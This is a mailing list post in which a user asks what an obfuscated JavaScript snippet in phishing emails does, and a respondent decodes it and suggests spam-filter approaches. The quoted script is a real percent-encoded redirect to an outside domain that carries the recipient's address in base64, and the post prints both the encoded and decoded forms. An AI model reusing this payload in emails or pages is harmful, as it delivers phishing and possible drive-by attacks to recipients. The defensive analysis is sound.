Mailing List Archive

On 2021-06-30 at 11:28:09 UTC-0400 (Wed, 30 Jun 2021 11:28:09 -0400)
Alex <mysqlstudent@gmail.com>
is rumored to have said:

> Hi,
> I'm using SA with amavisd and keep receiving emails with image
> attachments with random filenames and "Billing - Release.html" that
> contains the following javascript. What does it do? How do we block
> them, outside of blocking HTML altogether?

You could look for script tags in the message. There's no sane reason to
embed scripts in email. Unfortunately, you probably want to NOT reject
messages like this one, which quotes a very sketchy script. It might be
possible to look for '<script' in the rawbody and only act on it if
there is no '<script' in the interpreted body text. Obviously I have not
tried this. Yet.


> <script language="javascript">
> document.write(unescape('%3c%2f%64%69%76%3e%0a%3c%70%3e%20%44%65%61%72%2c%20%3c%62%2f%3e%42%69%6c%6c%69%6e%67%3c%2f%62%3e%0a%0a%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%78%74%2f%4a%61%76%61%53%63%72%69%70%74%22%3e%0a%20%20%20%20%20%20%73%65%74%54%69%6d%65%6f%75%74%28%22%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%20%3d%20%27%68%74%74%70%73%3a%2f%2f%75%66%61%78%2e%77%6f%72%6b%2f%59%6d%6c%73%62%47%6c%75%5a%30%42%7a%62%57%46%79%64%47%31%73%63%79%35%6a%62%32%30%3d%27%3b%22%2c%29%3b%0a%20%3c%2f%73%63%72%69%70%74%3e'));
> </script>

That says:

document.write(unescape('</div>
<p> Dear, <b/>Billing</b>

<script type="text/JavaScript">
setTimeout("location.href =
'https://ufax.work/YmlsbGluZ0BzbWFydG1scy5jb20=';",);
</script>'));

So the script opens that URL.

The base64 string at the end of the URL decodes to
"billing@smartmls.com"

The URL redirects either to an innocuous Wikipedia page or a very much
NOT innocuous jumbled mess of JavaScript that probably causes an
appropriately vulnerable computer to go on a rampage slaughtering
children and kittens.


--
Bill Cole
bill@scconsult.com or billcole@apache.org
(AKA @grumpybozo and many *@billmail.scconsult.com addresses)
Not Currently Available For Hire